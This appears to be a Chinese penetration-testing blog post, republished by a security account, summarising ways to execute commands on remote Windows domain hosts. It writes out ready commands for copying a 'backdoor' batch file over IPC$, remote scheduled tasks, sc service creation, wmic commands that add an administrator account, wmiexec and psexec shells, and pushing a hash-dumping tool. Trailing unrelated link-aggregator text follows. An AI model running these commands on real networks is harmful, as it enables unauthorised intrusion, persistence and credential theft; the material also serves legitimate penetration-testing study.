前言

AD的全称是Active Directory:活动目录

域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后两个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。

在域渗透场景中,我们已经进入内网,会遇到大量的开放端口和服务,弱密码空密码,这个时候我们可以使用它们已经开启的服务选择对应的方式进行命令执行。本文对ad域渗透中常见的命令执行方式进行一个总结。

ipc

前提

开启ipc共享

配置本地安全策略:开始->运行-> secpol.msc->本地策略->安全选项->网络访问:共享>和本地帐户的安全模型>经典-本地用户进行身份验证

配置本地组策略:运行gpedit.msc ——计算机配置——Windows设置——安全设置——本地策略
——安全选项——用户账户控制:以管理员批准模式运行所有管理员——禁用。

文件共享

123456
写入后门文件net use z: \\目标IP\c$ "passwd" /user:"admin"或copy hack.bat \\目标ip\c$#删除连接net use \\目标IP\ipc$ /del

后续使用下面的方式执行

at(win10不可用)

定时任务执行命令

前提

开启windows Event log服务,开启Task Scheduler服务

其余条件同ipc

命令执行

12
at \\170.170.64.19 23:00 c:\windows\system32\calc.exeat \\170.170.64.19 1 delete /yes #删除本机1号任务

schtasks

前提

开启windows Event log服务,开启Task Scheduler服务

其余条件同ipc

123
schtasks /create /tn firstTask /tr "c:\windows\system32\cmd.exe /c calc" /sc once /st 00:00 /S 170.170.64.19 /RU System /u admin /p passwdschtasks /run /tn firstTask /S 170.170.64.19 /u admin /p passwdschtasks /F /delete /tn firstTask /S 170.170.64.19 /u admin /p passwd

telnet

前提

开启telnet服务

命令执行

12
telnet 目标ip之后可执行命令

sc

12
windows2003windows XP

命令执行

123
sc \\170.170.64.19 create testSC binPath= "cmd.exe /c start c:\windows\hack.bat"sc \\170.170.64.19 start testSCsc \\170.170.64.19 delete testSC

wmic

前提

开启wmi服务,135端口

命令执行

123
wmic /node:170.170.64.19 /user:admin /password:passwd process call create "cmd.exe /c calc.exe"wmic /node:170.170.64.19 /user:admin /password:passwd process call create "cmd.exe /c net user test 123456 /add && net localgroup administrators test /add"

wmiexec.vbs(需要安装)

前提

开启wmi服务,135端口

安装

下载vmiexec.vbs

命令执行

123456
cscript.exe //nologo wmiexec.vbs /shell 170.170.64.19 admin passwdcscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd "cmdkey /list"cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd c:\programdata\test.bat#其他参数-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令。-persist 程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,用于运行 nc 或者木马程序。

impackets wmiexec(需要安装)

前提

开启wmi服务,135端口

安装

123
git clone https://github.com/SecureAuthCorp/impacket/pip install -r requirements.txtpip install impacket

命令执行

12
#获取远程计算机交互式shellpython wmiexec.py admin:passwd@170.170.64.19

psexec(需要安装)

前提

开启admin$共享

安装

在 https://docs.microsoft.com/en-us/sysinternals/downloads/psexec 下载安装

命令执行

12345678910111213
#打开交互式shellpsexec \\170.170.64.19 -u admin -p passwd cmd#执行单条命令psexec \\170.170.64.19 -u admin -p passwd -s cmd /c "calc.exe"#拷贝文件到远程计算机并执行psexec \\170.170.64.19 -u admin -p passwd -c C:\Users\Administrator\Desktop\GetHashes.exe#其他参数–accepteula 第一次运行会弹框,输入这个参数便不会弹框-s 以 “nt authority\system” 权限运行远程进程-h 如果可以,以管理员权限运行远程进程-d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项\\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令

远程桌面

前提

开启远程桌面,3389端口

命令执行

可直接通过mstsc进入目标系统。

作者:Leticia,文章来源:Leticia's Blog


扫描关注乌云安全

觉得不错点个“赞”、“在看”哦

bat 远程桌面登陆 命令_内网渗透之域渗透命令执行总结相关推荐

  1. 远程办公:通过cpolar内网穿透,远程桌面控制家里公司内网电脑

    文章目录 前言 1. 被控端电脑启用远程桌面 2. 安装cpolar内网穿透 3. 获取远程桌面公网地址 4. 实现远程桌面控制 前言 疫情反反复复的当下,有时候会遇到需要居家办公的情况,但在办公室的 ...

  2. 比teamviewer、向日葵更好用的远程桌面——借助frp穿透内网连接远程桌面

    疫情期间,公司安排在家办公,但是由于工作性质,必须要使用公司的电脑才能正常进行工作,可是公司的宽带分配的不是公网IP,不能做超级端口转发(前提公网),用过Teamviewer和向日葵,但是奈何都是卡得 ...

  3. 通过windows自带远程桌面,实现不同局域网的电脑相互访问(默默P2P远程桌面管理工具-直接内网穿透)

    大家都知道windows自带的远程桌面连接工具mstsc.exe非常好用,不但操作简单而且远程的速度还很快,相比起来比teamviwer或者向日葵等远程软件速度还快. 但是在操作上它有两个非常大的缺点 ...

  4. Windows外网远程桌面连接【免费内网穿透】

    Windows系统自带的远程桌面连接,正常只能在局域网内使用,但对于出差在外,或者在家想要远程连接公司内网电脑的情况下,可以做内网穿透,映射3389端口到公网,生成公网地址来远程连接. 这里推荐一款免 ...

  5. 内网:bloodhound域渗透分析工具

    目录 neo4j window下载 社区版neo4j kali下载 BloodHound BloodHound 使用 介绍: 利用BloodHound对庞大内网域环境进行自动化信息搜集并整理分析数据, ...

  6. 路由器_内网端口映射

    路由器_内网端口映射,nat_端口映射_工具_软件_远程桌面_连接端 口_花生壳_个人_FTP_服务器_WEB站点 1.让(家里)宿舍自己的电脑跟公司(外地)的电脑互相远程桌面连接(免得每次COPY东 ...

  7. win10多用户同时远程桌面登陆

    作者: 蓝鹰 分类: WIN系统教程 发布时间: 2020-09-23 21:52 ė0 浏览数 6win10多用户同时远程桌面登陆已关闭评论 第一步:修改Termsrv.dll文件以允许多个RDP会 ...

  8. win10多用户同时远程桌面登陆(允许多个RDP会话)-支持win10最新1909版2004版

    win10多用户同时远程桌面登陆(允许多个RDP会话)-支持win10最新1909版2004版 条条大路通罗马,本文的方法为修改Termsrv.dll文件以实现允许多个RDP会话的目的. 第一步:修改 ...

  9. 公网SSH远程Ubuntu:安装cpolar内网穿透映射22端口 2/3

    系列文章 公网SSH远程Ubuntu:局域网内ssh远程Ubuntu 1/3 公网SSH远程Ubuntu:安装cpolar内网穿透映射22端口 2/3 公网SSH远程Ubuntu:配置固定的公网TCP ...

最新文章

  1. ESP8266、ESP32 和 ESP32-S2 对比
  2. Swift中文教程(三)--流程控制
  3. 为什么成员属性不会被重写
  4. 四层和七层负载均衡的区别介绍(转载)
  5. 通过 MySQL 二进制日志恢复删除的记录
  6. mybatis+mysql分库分表_一种简单易懂的 MyBatis 分库分表方案
  7. 第一行代码--笔记(3)
  8. 二次拟合r方_使用SPSS拟合曲线
  9. scrapy Pipline保存到数据库
  10. 杂记 什么是ABC记谱法
  11. YOLO系列目标检测算法-YOLOv2
  12. 微信小程序音量调节插件
  13. kdj线指标详解与案例探究
  14. Python基础数据类型:字符串,列表,元组,集合,字典用法总结
  15. 软件测试需要学习哪些技能?
  16. 亚马逊云科技发布“云拓计划”赋能企业加速上云及数字化转型
  17. 下班之后,回个毛线的工作消息!
  18. 解决IMP-00058和IMP-00000
  19. C语言顺序表,合并并排序(代码注释讲解)
  20. 开源项目精选推荐-杨小杰工具箱(YoungxjTools)

热门文章

  1. linux 脚本自动添加防火墙规则
  2. 采用Spring管理Bean和依赖注入
  3. 基于JAVA+SpringBoot+Mybatis+MYSQL的仓库信息管理系统
  4. 基于JAVA+SpringMVC+Mybatis+MYSQL的bbs论坛管理系统
  5. 关于asp.net 中 cookies 的清空
  6. html5新增表单控件和表单属性
  7. Too many open files 问题的解决
  8. My安卓知识5--百度地图api的使用,周边信息检索
  9. 基于实验数据的轮胎模型
  10. 《城市规划信息化体系》和《城市规划与建设地理信息系统》读书笔记及规划信息化的碎碎念...